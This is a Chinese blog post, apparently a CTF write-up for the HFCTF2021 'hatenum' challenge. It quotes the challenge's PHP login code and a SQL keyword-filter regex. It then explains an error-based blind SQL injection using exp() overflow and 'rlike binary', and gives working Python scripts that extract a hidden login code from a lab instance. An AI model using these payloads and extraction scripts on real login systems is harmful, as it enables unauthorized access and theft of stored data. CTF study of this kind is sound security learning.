suyumen
目前主要在学习web相关

HF2021-hatenum

2021-09-10 sql注入 报错注入
Word count: 786 | Reading time: 4min

有一个注册窗口,一个登录窗口,附件给了源码,看一下登录逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(isset($_POST['username'])&&isset($_POST['password'])&&isset($_POST['code'])){
$User = new User();
switch ($User->login($_POST['username'],$_POST['password'],$_POST['code'])) {
case 'success':
echo 'login success';
header('location:home.php');
break;
case 'fail':
echo 'login fail';
header('location:index.php');
break;
case 'error':
echo 'error';
header('location:index.php');
break;
}
}

有三种不同的回显,考虑能不能盲注。

1
2
3
4
5
6
7
8
9
10
11
12
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}

sql逻辑是这个:

1
select * from users where username='$username' and password='$password'
1
2
3
if($_SESSION['username']=='admin'){
echo file_get_contents('/flag');
}

必须admin登录。

1
2
3
4
5
6
7
8
9
10
11
12
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

num_waf过滤了9位及以上的数字,sql_waf过滤了一些函数和字符。

需要拿到code的值。


exp()函数

exp(n):求en次方。

exp(710)就会产生一个溢出错误

0按位取反就会返回“18446744073709551615”。
函数成功执行后返回0
将成功执行的函数取反就会得到最大的无符号BIGINT值。


rlike()函数

RLIKE运算符用于确定字符串是否匹配正则表达式,匹配则返回1,否则返回0

不区分大小写,要区分的话添加binary


所以可以由报错和不报错两种回显构造注入语句:

1
select * from users where username='a\' and password='||exp((709+(code rlike binary {}))# '

脚本:

测一下code长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = 'http://89eb2802-96e0-4f72-9f7b-149453be3cae.node4.buuoj.cn:81/login.php'

a = 1
while a:
payload = "||exp(709+({}-length(code)))#".format(a)
#print(payload)
data = {'username': "a\\", 'code': "1", 'password': payload}
r = requests.post(url=url, data=data, allow_redirects=False)
text = r.text
if 'error' in r.text:
print(a - 1)
break
a = a + 1

得到23

脚本跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import string

import requests

url = 'http://dfea8234-28b5-4841-8653-064f509169b3.node4.buuoj.cn:81/login.php'
str_list = string.digits + string.ascii_uppercase + string.ascii_lowercase


def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x', '')
return res


flag = '^erg'
f = 2
while f < 20:
for i in str_list:
payload = "||exp(709+((code)rlike(binary({}))))#".format(trans(flag[f:] + i))
data = {'username': "a\\", 'code': "1", 'password': payload}
r = requests.post(url=url, data=data, allow_redirects=False)
if 'error' in r.text:
f += 1
flag += i
print(flag)
continue

跑了一会结果是^erghruiu32ighruiu3这一看就知道问题在哪了,有个循环了。在分叉处选择第二个匹配结果,跑出来了这个:^erghruigh23uiu32ig试一下是对的。

我这代码能力太拉了。。。。。。qaq。。。。。。

参考

1.https://blog.z3ratu1.cn/%5BHFCTF2021%5Dhatenum.html

2.http://roverdoge.top/archives/204

3.https://ibukifalling.github.io/2021/07/23/HFCTF2021hatenum/

Author: suyumen

Link: https://suyumen.github.io/2021/09/10/2021-09-10-[HF2021]hatenum/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
2021祥云杯secrets_of_admin
NextPost >
SWPU2019-easy_python
CATALOG
  1. 1. exp()函数
  2. 2. rlike()函数
  3. 3. 参考